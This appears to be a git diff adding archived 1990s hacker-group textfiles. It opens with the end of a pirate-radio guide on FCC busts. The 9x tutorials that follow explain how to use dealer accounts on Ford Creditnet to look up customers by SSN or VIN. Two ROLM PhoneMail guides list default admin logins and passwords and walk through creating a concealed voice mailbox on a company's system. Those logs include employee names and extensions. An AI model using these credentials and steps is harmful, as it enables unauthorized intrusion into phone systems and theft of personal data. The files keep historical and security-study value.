yourself, it is likely that you will lose. + + In this book we discuss how the FCC monitors pirates, and how a close in direction finding +vehicle works. After you have been the victim of this process, you are likely to be served with +something called a "NOTICE OF APPARENT LIABILITY". This is the way the FCC tells +you that they believe that you have violated the Commissions Rules, and they are holding you +responsible. This is usually accompanied by a forfieture which is set by the FCC. If you +ignore this notice, the FCC lawyers may take you to court. However, the FCC has never +taken anyone to court for this and it is rumored that the Dept. of Justice told the FCC that +they will not waste time and resources on such cases. + + In the past, the FCC has sent pirate stations a letter through their mail drop. This letter +usually quotes the Commissions Rules, tells you that you are breaking the law and orders you +to immediately cease operation and respond to their letter in writing within a certain period of +time. Do not confuse this with a Notice of apparent liability; it is a scare tactic. It is sent +because they are not able, can't afford, or don't have time to find you. If you recieve one of +these letters you have not been busted. It may be wise to try to understand why you have +suddenly captured the attention of the FCC, are you causing someone interferance, has your +neighbor called them? Are you broadcasting in HAM bands? Are you on the air too often? +You may not find the answer and there may not even be one. + + Let's explore what has been reported by pirates who have been busted. Most say that they +have been broadcasting, go off the air and suddenly men from the FCC show up and ask to +inspect the station. Those who cooperate say the FCC inspects the equipment and asks a few +questions about the pirate station. The story now begins to vary a little; some say the FCC +photographed the equipment, recorded serial numbers, and left without futher comment. +Others say the FCC immediately confiscated all equipment. Some say that they were ordered +to read a prepared statement on the air saying they have been shut down by the FCC. Some +were handed a Notice of Apparent Liability with a fine, others received them in the mail a few +days later. + And to complicate things even further, some pirates say the FCC didn't show up until at least +a week after their last broadcast, and some say the FCC never showed up at all they just +received a notice in the mail. + + About the only thing that can be concluded from this information is that the FCC is +unpredictable and it seems that their behavior and actions may vary widely. These variatons +are likely linked to the year that the bust occured (the FCC seems less forgiving now than in +the past), the location of the pirate, and the personality of the field operator.We do know that +a Pirate may be fined $1,000 to $100,000 and receive up to one year in jail. I have found no +evidence that any one has gone to jail for operating a pirate station. We also know that the +FCC is notorious for violating a persons civil rights by announcing guilt of a pirate even +before a trial, and performing illegal search and seizures. This is when a good lawyer can be +very valuable. + + Let's discuss how some pirates have responed to "the knock" and what their outcome has +been. Some pirates believe that if the FCC has no search warrant you should not let them onto +your property; simply say you dont know what they are talking about and invite them to leave. +This has usually resulted in the FCC immediately leaving. In some cases the pirate recieved a +"Notice" in the mail a few days later and ,in others, nothing further happened and the pirate +wisely stopped operating, at least for a while. According to the law enforcement authorities I +have interviewed, without a search warrant the FCC can only enter your property with your +permission. However I have also found evidence that the FCC is enpowered by the Federal +Government to search whenever and whatever they want, although past experiences have +shown that they have not forcably searched private property without a search warrant. The +law enforcement officers did say that if they do have a warrant, they will likely be +accompanied by police or federal marshals and you would be wise to allow them to perform +the search without resistance. This could avoid complicating your situation with an arrest +charge for obstructing justice and resisting arrest. They went on to advise that you have a +right to silence and you should use it; don't tell them anything, don't offer any information +and don't talk to anyone except your lawyer. Anything you say could be taken out of context +and used in court against you. A warrant only gives them the right to search your property; no +one can make you talk. They also advise to video tape the search or at least turn on a tape +recorder and record as much as you can. If your rights are violated or the search is performed +improperly, the tape could help to prove this in court. Any information and evidence that is +obtained in an illegal or unconstitutional search will not be accepted into court, this would +include your transmitter and anything else they find. No evidence, No case. + + Other pirates believe that you should cooperate as much as possible and hope the FCC will +give you a break for being cooperative. So far all of the pirates I have talked to who have done +this have ended up paying a fine in the end. However, sometimes it may be best to handle +things peacefully and just pay your fine and get on with your life. Pirates have been sucessful +in the past at convincing the FCC to reduce their fines because they have proven that they are +not financially able to pay, some have arranged monthly payments, and some have gone to +court and had everything dropped. But we must remember, there have been others who were +not as lucky. + + + + + + + + Many people will say that the FCC has no right to enforce their regulations. They say that the +whole idea of the FCC is unconstitutional and unfair. They argue that the FCC can't bust them +because they have no right to tell them they can't use the airwaves, after all they belong to the +people, and what about free speech!? Well, all of that may be true and it is nice for speeches, +but if you think the FCC cannot bust you and fine you for being a pirate, think again. +Although it may not be fair, the world is not a fair place and they WILL bust you and they +WILL fine you. It is not what we want to believe but it is fact, and we have to live with it (or +around it). + + How you decide to deal with an FCC bust is totaly up to you, it seems that no one has come +up with the perfect solution. This chapter in no way should replace good legal advise, it is +only intended to provide you with information and different points of view. What you do with +it is up to you. + GOOD LUCK. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/textfiles.com/groups/9X/file_id.diz b/textfiles.com/groups/9X/file_id.diz new file mode 100644 index 00000000..a0958405 --- /dev/null +++ b/textfiles.com/groups/9X/file_id.diz @@ -0,0 +1,12 @@ + .,,. , + g$$"^"$$g$$, .,g&$ +$$$'aj,$$$`$$$,.,$$$" +$$$ ,$$$' `$$$$$$" + "Qo,$$$' .,$$$" Nynex + $$$' .,$$$$$b + $$$'.,$$$" `$$$, +.,$$$',$$$" `$$$, + "$ """ """ +[The Hackers Companion] +[DOS] -> v2.2 <- [224K] +ú PowerfulScriptHacker ú diff --git a/textfiles.com/groups/9X/fordcred.9x b/textfiles.com/groups/9X/fordcred.9x new file mode 100644 index 00000000..8e06c0c0 --- /dev/null +++ b/textfiles.com/groups/9X/fordcred.9x @@ -0,0 +1,118 @@ +STATION ID - 7047/3.12 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + + 9x is Substance, Schizo Man, Delinquent Dialer, and Firebug + + The official Distro Sites + + Another Way of Life (518) + The Phantom Tollbooth (718) + + A Brief Introduction To Ford Creditnet + By Schizo Man and Substance + A 9x Production + 7/15/95 + +Ford Creditnet is fairly new and for the most part unknown to hackers. +Every dealership has a userid for Creditnet, which they use to store +information about their customers. The information in this file was found +100% from personal experience (not my personal experience, my friend Joe's. +I don't do anything illegal). I have left out many commands because they were +either useless to hackers or they had too much potential for abuse. Be aware +that each dealership changes their password at the beginning of every month. +Dozens of dealerships use each dialup, often they use dialups in a different +area code. Remember this file is for informational purposes only, and we are +not responsible if this information is applied to illegal ends. And we have +NEVER actually seen this system :) Please note, to get help on FCN on any +menu hit the ^ (carot) key, dont ask me why, but thats the way it is. + + +The login looks like this: +Enter Userid - XXXX +Password - XXXXXX (does not echo) + + WELCOME TO ** C R E D I T N E T ** Date Time + +You are DEALER NAME on Ford Credit Branch XX + +For assistance please call 555-xxx-xxxx and ask for the REACT coordinator. + + + + No communications have been received since your last logon. + + + +System? + +At this point you enter either PUR (Purchasing) ADM (Administration) or AIS +(Account Information System). END logs you off, RET goes back to the System? +prompt. There are some other commands you can enter at the System? prompt but +they are not of interest to you. + +ADM (Administration) + +This system is passworded. Occassionally the password will be the same as the +account password. Since this system can be used for things like changing +payment records, I will not list the commands. If you really want to know +you'll figure them out yourself. + +AIS (Account Information System) + +This is used for looking up information on customer accounts. +Enter LPO (open accounts) or NTC (closed accounts) and you will get a +Search Key? prompt. There are several ways to look up an account: + +Name: Enter their last name, or their last name followed by their first, or +their last name followed by their first initial. + +Vehicle Identification Number: Enter V,XXXXXX (x's are their VIN) + +Social Security Number: Enter S,XXXXXX (x's are their SSN) + +License Plate Number: Enter L,XXXXXX (x's is their license plate number) this +feature isn't available on most dialups. + +If their is more than one match, you will get a list to choose from. Once +you've picked one you'll receive info on their account, including +payments, where they live, their name, Etc. The way it is displayed varies +on different dialups. Sometimes it just spits it out, sometimes it uses a +funky full-screen color display. + +PUR (Purchasing) + +This system is used to make customer applications and view results. APL +will let you enter a customer application. Their credit report is checked +and then they are approved or turned down. Hit RPT and you'll be asked for +a month and day (enter it in the form of 5,12 for May 12) and you will see +a list of who was approved or not approved that day, and why. + +Conclusion: Remember, do not intentionally harm any system in any way. Don't +fuck things up for other people. You can contact the authors at: + +Have phun, and don't get caught! + + schizo@infosoc.com (Schizo Man) + jcattell@linux.cowland.com (Substance) + firebug@shell.globalone.net (Firebug) + deldialers email address is unavailable + + + The official 9x VMB (8oo)365-4467 + + 9x Support Boards + + Another Way of Life (3 node) 518-383-o268 + The Phantom Tollbooth (1 node) 718-236-6784 + (nup's needed on both) diff --git a/textfiles.com/groups/9X/rolm_2.txt b/textfiles.com/groups/9X/rolm_2.txt new file mode 100644 index 00000000..bae20789 --- /dev/null +++ b/textfiles.com/groups/9X/rolm_2.txt @@ -0,0 +1,385 @@ +STATION ID - 7047/3.12 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + + +ROLM PhoneMail - Revisited +by: khelbin +email: khelbin@connix.com + +This is a follow-up article in conjunction with Substance's article, +9X_RLMPM.ZIP on ROLM Phonemail systems (So please read 9X_RLMPM.ZIP first +or you'll jizz over outdial!). This will basically show you the easiest +way to set yourself up a VMB on these systems. I do claim to be a good +"doc" writer so if you can't follow this, you have an IQ of 80 or less. + +To remind you, this is what a ROLM Phonemail system usually looks like: + + + CARRIER 1200 + + ROLM PhoneMail 9252 9254 Microcode Version 5.2 + Copyright (C) ROLM Systems 1991 + All Rights Reserved. + + PM Login> + + +Older version of PhoneMail will drop you to a "Command %" prompt but for +the most part, use the previous description in identifying them. + +Typing "?" at the PM Login prompt will show the valid login accounts. + + PM Login> ? + Valid login modes are: + SYSADMIN, + TECH, + POLL. + +Possible defaults for these account follow: + + PM Login PM Password + -------- ----------- + SYSADMIN SYSADMIN,FIELD,TECH,SYS,ADMIN, + TECH FIELD,TECH,SYS,ADMIN + POLL FIELD,POLL,TECH,SYS,ADMIN + + PM Login>TECH + PM Password> + Invalid Password. + PM Password> + PM Action> (woo-hoo! ..you're in!) + +Once logged in, you will most likely get a "PM Action>" prompt. Typing "?" +displays the following: + + PM Action>? + The following commands are valid: + Activate - Activate the session + Broadcast - Broadcast a message to all terminals + Connect - Invoke the subsystem + Terminate - Terminate the session + List - List all open sessions + Logout - Terminate all sessions and log off. + Login - Logout and login again. + Display - Display sessions status on a site. + TechView - Enable/Disable TechView training. + +We first must connect to the subsystem which is where all commands are +invoked to control/monitor the voice mail system. Type "connect": + + PM Action>connect +ÿÿÿ + Screen 1 - SVI on Node 1 is now active. + + +You will now be brought to a "Node # - SVI>" prompt. Typing "?" displays +the following. + + Node 1 - SVI>? + Sat Jul 6, 1996 6:39 PM + ----- INLINE COMMANDS ----- + ? help exit + ----- UTILITIES ----- + AdjustLineLimits APDBUpgrade AssignClasses + Backupdatabase BackupFixup5051 BackupNames + CallProcessing ChannelTrace CheckLDNetConfig + CheckNetWork CleanUpLDN Clearcrashdump + ConfigPhoneMail ConfigSite ConfigTrunk + ConvertDB CopyDisk CopySoftWare + Cvt37To42 Cvt41To42 CvtFrom42 + DB41Upgrade DBXF369To41 Dir + DisplayLineLimits DownPhoneMail EditPBXTrans + EnableTNAC ExpandDatabase FEDParameters + FFormat FixDB369To41 FixDB37To42 + FixNames Fixupdatabase Fixvoicefiles + HardReset HDErrorList HdInfo + InbandLog InstallFile InstallOption + Listconfig ListError ListLDNetConfig + Listlog Listoptions ListPrompt + ListVersion LoadPrompts MessageTrackingLog + MonitorPBXLink MonitorTAPLink NetDetective + Newdisk OCConfigAndTest ReassignBlock + RemoveOption Reset Restoredatabase + RestoreFile RestoreNames Sa + ScanDisk SearchCentrexLog Settime + StartCentrexLog StartHostLink StopCentrexLog + StopHostLink SystemStatus TalkToLDNSite + TAlog TestDisk TestHostLink + TestPBXLink TestPhoneMail TestTrunk + TestVoice UpDateCBXMWI UpgradeDB + UpPhoneMail + + +"Sa" is the System Administration utility. This command can be passworded +(I've found two ROLM PhoneMail systems... one was passworded, one wasn't) +and accounts such as POLL may not have access to this option. + + Node 1 - SVI>sa + Sat Jul 6, 1996 6:39 PM + PhoneMail is active with 12 Channels + + Function: + Sat Jul 6, 1996 6:40 PM + + Specify a function - + ActivatePM AssignClasses BackupDataBase + BackupNames CallProcessing ClassOfService + ConfigSite DeactivatePM DList + FFormat LDNSiteStat ListLDNMsgLog + LogOff MonitorLogon NodeParameters + OCConfigAndTest OCMessageLog Profile + Reports Status SysParameters + SysStatistics + +At the "Function:" prompt, you can specify different system administration +functions. The one we will be working with in setting up a VMB is the +"profile" function. + + Function: profile + Sat Jul 6, 1996 6:40 PM + + Action: ? + + Specify an action - + Add All Clear Delete Fix List Modify + Purge + +The action "All" will display all user profiles. + + Function: profile + Sat Jul 6, 1996 6:40 PM + + + Action: All + + + Subscriber Name Node Extensions Group Name + ---------------------- ---- ---------- ----------------------- + 1: ALEMAN LUCRECIA 1 3508 BDM + 2: ALGIERI ALDO 1 3711 PATENTS + 3: ANZIANO RICHARD 1 3676 BDM + 4: ARCHIBALD DON 1 3552 SIG91 + 5: BACIK JENNIFER 1 3650 BDM + 6: BARNESCHI CHRISTY 1 3579 WALLINGFORD + 7: BELTANGADY MOHAN 1 3649 SIG91 + 3880 + 8: BILDSTEIN BARB 1 3656 SIG91 + 9: BIRMINGHAM LINDA 1 3580 BDM + 10: BODISCH ANNAMARIE 1 3712 PATENTS + 11: BROCKLEY ANNE 1 3531 + 12: BROWN MIKE 1 3554 SIG91 + 13: BROWN PATRICIA 1 3514 BDM + 14: BRUNELL ROBERT 1 3532 BDM + + + +This is usefull especially in this case because you want your mailbox to +blend in with the other. In this case, you would want to set up a mailbox +at box number 3[5678]XX instead of box 1111 or 9999. + +The "list" action under system administator function profile, lists a users +profile in complete detail showing all settings with their specified mailbox. + + + Function: profile + Sat Jul 6, 1996 6:40 PM + + Action: list + + Subscriber Name or Extension: 3571 + + Name (last first) OBRIEN KATHLEEN + Class Number 10 + Extension Number [ 1]: 3571 + Home Site Number 0 + PhoneMail Password ########## + Group Name SIG91 + Referral Extension 3656 + PhoneMail Capability + Accept Messages Answer Phone Do Message Alert + TRUE TRUE TRUE + Abbreviated Prompts? FALSE + Alt Greeting Active? FALSE + Software Mailbox FALSE + Failed Acc Attempt 0 + Number of PDLs Used 0 + Waiting PhoneMail 0 + Waiting PhoneMail ML 0 + Sent Phonemail 4 + Sent PhoneMail ML 144 + Recd PhoneMail 510 + Recd PhoneMail ML 15413 + Direct Calls 553 + Forwarded Calls 0 + Access Length 37933 + Deletions 523 + Retention Length 9449 + Attempted Outcalls 0 + Successful Outcalls 0 + Outcall Access Len 0 + Future Dlv Messages 0 + LDN Exped Msgs Rcvd 11 + LDN Exped ML Rcvd 633 + LDN Normal Msgs Rcvd 0 + LDN Normal ML Rcvd 0 + LDN Exped Msgs Sent 0 + LDN Exped ML Sent 0 + LDN Normal Msgs Sent 0 + LDN Normal ML Sent 0 + Last Access Time Wed Jul 3, 1996 9:54 AM + Last Password Change Wed May 22, 1996 3:18 PM + +This information can be used as a basis for your information if you're not +sure what to enter when adding your own profile. + +Now, let's add our own profile (mailbox). For this, we use the action "add" +under system administration function profile. + + + Function: profile + Sat Jul 6, 1996 6:42 PM + + Action: add + + Name (last first) : ROLM + Class Number : 10 + Extension Number [1] 3500 + Extension Number [2] + PhoneMail Password : (Default = ##########): + Group Name : (Default = ): + Referral Extension : (Default = 0): + PhoneMail Capability: (Default = + Accept Messages Answer Phone Do Message Alert + TRUE TRUE TRUE + Enter T or F for each field): + Abbreviated Prompts?: (Default = FALSE): + Alt Greeting Active?: (Default = FALSE): + Software Mailbox : (Default = FALSE): + Failed Acc Attempt : (Default = 0): + + If you wish to exit, type ";". + First Field of Form: + Name (last first) : (Previous = ROLM): ; + + Done. + Name (last first) : ; + + +Now we have our own mailbox at box #3500. Let's take a closer look at the +steps involved. + + Name (last first) : ROLM + +Selecting a name. Here, i chose "ROLM" as i thought the System Admin to be +an idiot who would think it is a default box and not to mess with it. A +regular name will blend in well with the others though. + + Class Number : 10 + +Selecting a class number designates what class your mailbox is under. +Certain classes have different options such as being able to have more +messages w/o being forced to delete them or having the dialout feature. +Check out the "ClassOfService" function. + + Extension Number [1] 3500 + +Enter a mailbox number you wish to have which is empty. + + Extension Number [2] + +If you want to set up more than one mailbox with the same profile. + + PhoneMail Password : (Default = ##########): + +Enter the password you would like to have. It will not be echoed to +the screen. + + Group Name : (Default = ): + Referral Extension : (Default = 0): + PhoneMail Capability: (Default = + Accept Messages Answer Phone Do Message Alert + TRUE TRUE TRUE + Enter T or F for each field): + Abbreviated Prompts?: (Default = FALSE): + Alt Greeting Active?: (Default = FALSE): + Software Mailbox : (Default = FALSE): + Failed Acc Attempt : (Default = 0): + +Go with the defaults for a regular mailbox here. They should be set up +correctly. + + If you wish to exit, type ";". + First Field of Form: + Name (last first) : (Previous = ROLM): ; + + Done. + Name (last first) : ; + +Keep smacking ";" to exit. + +Now let's verify that the profile was added. + + + + Function: profile + Sat Jul 6, 1996 6:45 PM + + Action: list + + Subscriber Name or Extension: 3500 + + Name (last first) ROLM + Class Number 10 + Extension Number [ 1]: 3500 + Home Site Number 0 + PhoneMail Password ########## + Group Name + Referral Extension 0 + PhoneMail Capability + Accept Messages Answer Phone Do Message Alert + TRUE TRUE TRUE + Abbreviated Prompts? FALSE + Alt Greeting Active? FALSE + Software Mailbox FALSE + Failed Acc Attempt 0 + Number of PDLs Used 0 + Waiting PhoneMail 0 + Waiting PhoneMail ML 0 + Sent Phonemail 0 + Sent PhoneMail ML 0 + Recd PhoneMail 0 + Recd PhoneMail ML 0 + Direct Calls 0 + Forwarded Calls 0 + Access Length 0 + Deletions 0 + Retention Length 0 + Attempted Outcalls 0 + Successful Outcalls 0 + Outcall Access Len 0 + Future Dlv Messages 0 + LDN Exped Msgs Rcvd 0 + LDN Exped ML Rcvd 0 + LDN Normal Msgs Rcvd 0 + LDN Normal ML Rcvd 0 + LDN Exped Msgs Sent 0 + LDN Exped ML Sent 0 + LDN Normal Msgs Sent 0 + LDN Normal ML Sent 0 + Last Access Time Sat Jul 6, 1996 6:42 PM + Last Password Change Sat Jul 6, 1996 6:43 PM + + Subscriber Name or Extension: + +Good. You now have a VMB. diff --git a/textfiles.com/groups/9X/rolmpm.hlp b/textfiles.com/groups/9X/rolmpm.hlp new file mode 100644 index 00000000..72e6567e --- /dev/null +++ b/textfiles.com/groups/9X/rolmpm.hlp @@ -0,0 +1,957 @@ +STATION ID - 7047/3.12 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + Some information on ROLM PhoneMail systems + Written in 1996 by Substance + + +This will try to explain to you how to use the PBX features, how to setup +and takeover your own boxes, and also give a basic overview of the system. +I included a log of a PM and a brief description of each command. + +The main menu of a PM will have these options on it, i will attempt to give +a brief summary of what each command does. Some of the commands i left +blank either A) I dont know what it duz or B) You can figure it out +yourself. + + +Û ActivatePM Û Turns on PhoneMail, if it was Deactivated +Û AssignClasses Û +Û BackupNames Û +Û BackupSystem Û Backs up the PM system to floppy +Û CallProcessing Û +Û ClassOfService Û +Û DeactivatePM Û Turns off PhoneMail, after this, PM will be BUSY +Û DList Û +Û Export Û +Û FFormat Û Formats a floppy disk +Û LogOff Û Logoff the PM system +Û MonitorLogon Û Monitors Mailbox Login Attempts +Û NodeParameters Û Configure PM Node Parameters, find # of PM VMB +Û OCConfigAndTest Û +Û OCMessageLog Û +Û Profile Û +Û Reports Û Gives Daily reports on PM +Û RestrictionTbls Û Restrictions +Û Status Û Shows Status of PM, # of users, if active, general +Û SysParameters Û Shows System Parameters +Û SysStatistics Û Shows System Statistics + +Loggin into the System: + + +CONNECT 1200 (not all PM's are 1200, but most) + +(It should answer and say) + +PM Login> + +Illegal Input. (if you dont enter a valid usrname) + + Default Accounts (known) ( = enter) + ------------------------- + LOGIN: PW: + + SYS , SYS, TECH, POLL etc + TECH , SYS, TECH, POLL etc + POLL + SYSADMIN or SYSADMIN + + +There may be more defaults, im not sure. Passwords are NOT case sensative. + +(Once you enter the system you will know when you see this, it will vary +depending on what version of PhoneMail you are on.) + +ROLM PhoneMail 9252 9254 Microcode Version 5.3 +Copyright (C) ROLM Systems 1992 +All Rights Reserved. +ÿÿÿ + +PhoneMail is active with 4 Channels + +[The basic main SA menu looks like this] (SA = System Administrative) ] +[It will vary depending on what accound you logged in as ] + +Thu Jul 13, 1995 10:32 PM + +Specify a function - + ActivatePM AssignClasses BackupNames + BackupSystem CallProcessing ClassOfService + DeactivatePM DList Export + FFormat LogOff MonitorLogon + NodeParameters OCConfigAndTest OCMessageLog + Profile Reports RestrictionTbls + Status SysParameters SysStatistics + +------------------------------------------------------------------------------ + +Function: SysStatistics (System Statistics) + +Thu Jul 13, 1995 10:33 PM + +Action: ? + +Specify an action - + Clear List + +(*I would not advise clearing the buffer it might notify the admin*) + +Action: List (This list is alot longer then i printed, sometimes) + + +Disk Full Count 0 +Disk Full Hours 0 +Disk 90% Full Count 0 +Disk 90% Full Hours 0 +etc, etc, etc + +Im not exactly positive what all of the System Statistics are, but you can +guess on some of them. + +Function: SysParameters +Thu Jul 13, 1995 10:34 PM + +Action: ? + +Specify an action - + List Modify + +Action: List + +Passwords Required ? TRUE (Ask for passwords?) +Prompt Repetitions 2 (How many times should PM repeat prompt) +Max PhoneMail ML 300 +StopPrompt TimeOut 3 +Re-Prompt TimeOut 5 +PhoneMail Rev Number 0 +Conn Time Unit Price 1 +Min Conn Time Bill 1 +Outcall Unit Price 100 +Min Outcall Bill 100 +ANR Frequency 10 +ANR Retries 2 +Msg Sent Unit Price 1 +Min Msg Sent Bill 1 +Msg Len Unit Price 1 +Min Msg Length Bill 1 +Avg Retn Unit Price 1 +Min Avg Retn Bill 1 +Avg Len Unit Price 1 +Min Avg Length Bill 1 +SA Console Password ########## (System Admin's Console Password!) +1st Level Field PW ########## (unfortunatly they are shadowed) +2nd Level Field PW ########## +Xfer To Extension ? TRUE +Xfer To Extn Prefix +Return To Operator ? TRUE +Name Entry Allowed ? TRUE +Extn Entry Allowed ? TRUE +Enable Outcalling ? FALSE +Play Recorded Names? TRUE +System Wide Vol Ctrl FALSE +Min SA Password Len 8 +Last SA Pswd Change Thu Dec 31, 1992 11:35 AM (hahah) +Extern Access Prefix 9 +24Hour Clock Format? FALSE +Alt Date Format? FALSE +Area Code 518 +Silence Tmout (secs) 10 +Disk Full Thresh (%) 90 +Return to home state TRUE +Check Sub Password TRUE +Transfer Restriction FALSE + + Notice the System Administrators password is shadowed, unfortunatly. +To hack Admins box you must change his password, and hope he doesnt notice :) +Or you can just setup your own box on the system and give yourself admin +access. So it is just best to leave the admins box alone, it will lessen +your chances of being noticed and also make your boxes last *ALOT* longer. + +Note on Outcalling (mentioned above) + + +Outcalling is *NoT* what you think, it is not a way to make free calls, IF +outcalling is enabled (default is not enabled), it is simply a way to have +PM call YOU at a specific location at a specific time and give you your +messages. + +------------------------------------------------------------------------------ + +Function: Status + +Thu Jul 13, 1995 10:35 PM + +Action: List + +Percent of Disk Used 40 +Number Busy Channels 0 (incoming) 0 (outcalling) 0 (network) +Number Down Channels 0 +Number Disks Mounted 1 +Number of Users 50 +PhoneMail Active? TRUE +Prompt Language English + +------------------------------------------------------------------------------ +Function: NodeParameters + +Thu Jul 13, 1995 10:35 PM + +Action: List + +Forwarded Ext Num 6195 - Extension and last 4 digits of VMB +Direct Ext Num 6197 +Guest Ext Num 6196 +Guest Acc if Unknown FALSE +General Mailbox ? FALSE +General Mailbox Num +Sub Redirect Mode 0 +Internode Xfer Num +Host Link Node UNASSIGNED +Host System ID +Host UserId +Host Link ID +Max Number Of DLists 3000 +SA Access Extension +SA Access Password ########## (shadowed) +PDL Reserved Extn 1 +Pager Display Number xxx6195 +Outcall Max Channels 1 +PhoneMail Operator 6000 +Voice Msg Priority ? TRUE +Min Free Chan - Prty 0 +CP Fixed Extn Length 4 +CP Re-Prompt TimeOut 5 +CP Prompt Repetition 2 +CP PhoneMail Oper. 6000 +ANI Enabled ? FALSE +DLCheck Time Begun Wed Jun 28, 1995 9:15 AM +DLCheck Finish Time Wed Jun 28, 1995 9:15 AM +DLCheck Throttle Val 1 +Volume level of node 3 + +If you want the dialup for the PhoneMail system, look under this option, to +find the #, look at 'Direct Ext Num: 6197' Remember what you dialed for +this Rolm control computer? Well, take that prefix and add on the 4 digits +after the Direct Ext Num, so it could be 445-6197, etc. To be xfered to the +operator you can see it is extension 6000, i wouldnt advise taking over this +box, for obvious reasons. As you can see PM's have ANi, dont enable this +unless your a total lamer. (ANi = Automatic # identification, in other +words, a trace) + +------------------------------------------------------------------------------ +Function: RestrictionTbls + +Thu Jul 13, 1995 10:38 PM + +Dial Restriction Table Edit + + 1. Add Table + 2. Modify Table + 3. Delete Table + 4. List Table + 5. Test Table + 9. Exit + + +------------------------------------------------------------------------------ + +Function: AssignClasses +Thu Jul 13, 1995 10:39 PM + + AssignClasses Version 1.0 + +<..> + +<> + + +Total Users Total Users Total Users + This Site With New COS Without COS + 48 0 0 + +------------------------------------------------------------------------------ + +Returning to the main System Administration menu +(this could take up to 5 minutes) ... + +(dont ask me why it says it says it takes 5 minutes, it takes about 5 seconds + on this particular system) + + +------------------------------------------------------------------------------ +Function: DList +Thu Jul 13, 1995 10:40 PM + +Action: List + +DList Number: + +Cannot find this form. + +------------------------------------------------------------------------------- + +Function: OCConfigAndTest + +Thu Jul 13, 1995 10:41 PM + + +Obtaining a channel...Channel 2 +Fetching DTMF Prompts...OK +Closing channel...OK +Outcalling must be enabled from System Parameters before using this utility. + +Returning to the main System Administration menu +(this could take up to 5 minutes) ... + +------------------------------------------------------------------------------- + +Function: SysParameter +Thu Jul 13, 1995 10:42 PM + +Specify an action - + List Modify + +Action: Modify + +Passwords Required ?: (Previous = TRUE): (Use passwords on boxes?) +Prompt Repetitions : (Previous = 2): 4 (# of X's to repeat prompts) +Max PhoneMail ML : (Previous = 300): 350 +StopPrompt TimeOut : (Previous = 3): 10 +Re-Prompt TimeOut : (Previous = 5): 7 +Conn Time Unit Price: (Previous = 1): (credits charged) +Min Conn Time Bill : (Previous = 1): +Outcall Unit Price : (Previous = 100): 0 (credits for using outcall) +Min Outcall Bill : (Previous = 100): 0 (Automatic # Recall) +ANR Frequency : (Previous = 10): +ANR Retries : (Previous = 2): +Msg Sent Unit Price : (Previous = 1): +Min Msg Sent Bill : (Previous = 1): +Msg Len Unit Price : (Previous = 1): +Min Msg Length Bill : (Previous = 1): +Avg Retn Unit Price : (Previous = 1): +Min Avg Retn Bill : (Previous = 1): +Avg Len Unit Price : (Previous = 1): +Min Avg Length Bill : (Previous = 1): +SA Console Password : (Previous = #): (System Admin Console PW) +1st Level Field PW : (Previous = #): +2nd Level Field PW : (Previous = ##########): +Xfer To Extension ? : (Previous = TRUE): +Xfer To Extn Prefix : (Previous = 0000): +Return To Operator ?: (Previous = TRUE): +Name Entry Allowed ?: (Previous = TRUE): +Extn Entry Allowed ?: (Previous = TRUE): +Enable Outcalling ? : (Previous = FALSE): +Play Recorded Names?: (Previous = TRUE): +System Wide Vol Ctrl: (Previous = FALSE): +Min SA Password Len : (Previous = 8): +Extern Access Prefix: (Previous = 9): +24Hour Clock Format?: (Previous = FALSE): +Alt Date Format? : (Previous = FALSE): +Area Code : (Previous = 518): (Area code PM is located in) +Silence Tmout (secs): (Previous = 10): +Disk Full Thresh (%): (Previous = 90): +Return to home state: (Previous = TRUE): +Check Sub Password : (Previous = TRUE): +Transfer Restriction: (Previous = FALSE): + +As you can see SysParameter is the main configuration of the Rolm Phonemail +system. With this cmd you can Chage SA passwords, and basically configure the +entire Voice mail box system to their prefrence. PM is a very configurable +VMB system. Not many VMB systems let you change the amount of times it should +repeat prompts? +------------------------------------------------------------------------------ + +Function: MonitorLogon +Thu Jul 13, 1995 11:34 PM + + +Start monitoring user access attempts +Press to exit monitor mode... + +Exit monitor mode. + +This option when it is waiting informs the administrator of all logins and +login attempts on the system. It does not display passwords or any other +important info. + + +------------------------------------------------------------------------------ + +Function: Export +Thu Jul 13, 1995 11:36 PM + + + + Export Data Utility Version 1.0 + + +Querying Nodes. +Node #1 has responded. +Destination ? +Response required + +Options are: + +Diskette FileTransfer + +Destination ? ; + +Export exiting...done. + +Please enter valid password: + +Invalid password. + + +Unknown... (too bad i dont have a manual :(). I think it could possibly +be where it writes the log file to disk.. not sure tho. + +------------------------------------------------------------------------------ + + + +Function: Logout + +Thu Jul 13, 1995 10:45 PM + +Logs the user off the PM system + +------------------------------------------------------------------------------ + +Function: ClassOfService +Thu Jul 13, 1995 10:54 PM + +Action: Add + +Class Number : 1234 + +Invalid COS number +Class Number : 1 +Class Name : (Default = ): +Max Number Msgs : (Default = 10): +Max Future Dlv Msgs : (Default = 5): +Max Msg Length : (Default = 200): +Max Number Greetings: (Default = 1): +Int/External Pair? : (Default = TRUE): +Max Greeting Length : (Default = 200): +Sub Recorded Names? : (Default = TRUE): +Min Sub Password Len: (Default = 0): +Max Access Attempts : (Default = 5): +Attempt Threshold : (Default = 0): +Send Broadcast? : (Default = FALSE): +Receive Broadcast? : (Default = TRUE): +Max Num PDLs Allowed: (Default = 5): +LDN Exped DL Enable : (Default = FALSE): +LDN Normal DL Enable: (Default = TRUE): +HostLink Subscriber?: (Default = FALSE): +Enable Outcalling? : (Default = FALSE): TRUE +Xfer from Outcall? : (Default = FALSE): TRUE +Restriction Table : (Default = 0): +Min Outcall Freq : (Default = 0): +RNA Retry Freq : (Default = 15): +Busy Retry Freq : (Default = 5): +Max Num RNA Retries : (Default = 3): +Max Num Busy Retries: (Default = 5): +Paging Lang String : (Default = 0): +Pager Terminal Num 